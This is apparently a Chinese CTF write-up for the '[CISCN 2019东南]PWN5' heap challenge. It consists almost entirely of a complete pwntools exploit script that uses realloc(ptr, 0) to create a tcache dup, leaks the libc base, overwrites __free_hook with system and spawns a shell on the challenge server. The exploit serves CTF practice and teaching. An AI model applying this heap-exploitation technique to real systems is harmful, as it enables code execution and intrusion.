0%

r3t2的题解:[CISCN 2019东南]PWN5

2025-11-09 05:31By
fuckth3w0r1d
PWNTacahe

Problem: [CISCN 2019东南]PWN5

思路

  • 利用realloc(ptr, 0)造一个duptcache chunk

EXP

#!/usr/bin/env python3 from pwn import * context(os='linux', arch='amd64', log_level='debug') filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1/amd64/libc6_2.27-3ubuntu1_amd64/lib/x86_64-linux-gnu/libc.so.6" host = "node5.anna.nssctf.cn" port = 26927 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b main set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1/amd64/libc6-dbg_2.27-3ubuntu1_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.27-3ubuntu1/amd64/glibc-source_2.27-3ubuntu1_all/usr/src/glibc/glibc-2.27 ''' def start(): if args.P: return process(elf.path) elif args.R: return remote(host, port) else: return gdb.debug(elf.path, gdbscript = gs) io = start() # pwn :) menu = b'Your choice:' def ch(idx): io.recvuntil(menu) io.sendline(str(idx).encode()) def add(size, data = b'\n'): ch(1) io.recvuntil(b'size?>') io.sendline(str(size).encode()) io.recvuntil(b'content:') io.send(data) def edit(idx, data): ch(2) io.recvuntil(b'Index:') io.sendline(str(idx).encode()) io.recvuntil(b'content:') io.send(data) def show(idx): ch(3) io.recvuntil(b'Index:') io.sendline(str(idx).encode()) def free(idx): ch(4) io.recvuntil(b'Index:') io.sendline(str(idx).encode()) def uafree(idx): ch(2) io.recvuntil(b'Index:') io.sendline(str(idx).encode()) io.recvuntil(b'Can not edit this flag!') def ex(): ch(5) add(0x500) #0 add(0x60) #1 free(0) add(0x200, b'\xd0') #0 show(0) io.recvuntil(b'Content: ') libc_base = u64(io.recv(6).ljust(0x8, b'\x00')) - 0x3ec0d0 log.info("libc_base --> "+hex(libc_base)) add(0) #2 uafree(2) #2 freed but still in chunk_list[2] add(0x10) #3 and 2 --> dup add(0x10, b'/bin/sh\x00') #4 add(0x10) #5 free(5) free(2) edit(3, p64(libc_base + libc.sym['__free_hook'])) add(0x10) add(0x10, p64(libc_base + libc.sym['system'])) # __free_hook to system free(4) io.interactive()

总结

  • 对该题的考点总结
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有

加载中...

加载失败
广告
×
评论区
添加新评论